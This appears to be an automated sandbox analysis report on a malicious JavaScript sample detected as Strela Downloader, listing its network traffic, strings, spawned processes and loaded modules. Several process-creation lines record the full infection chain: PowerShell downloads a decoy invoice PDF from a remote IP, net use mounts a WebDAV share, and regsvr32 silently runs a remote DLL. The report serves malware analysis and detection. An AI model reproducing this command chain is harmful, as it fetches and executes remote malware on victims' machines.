Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1399063097.000001F99C662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1466673294.0000018A15F2D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469636285.0000018A15ED8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469698243.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1467330703.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1469698243.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1467330703.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.N
Source: net.exe, 00000007.00000002.1469636285.0000018A15ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacew
Source: svchost.exe, 00000009.00000002.2695856125.000001D766610000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1467640092.000001D7663D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7356, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1534283901292319457.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7448:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mn1xd0ey.uni.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1534283901292319457.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1648,i,5979320393867997677,284756554289427971,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1648,i,5979320393867997677,284756554289427971,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
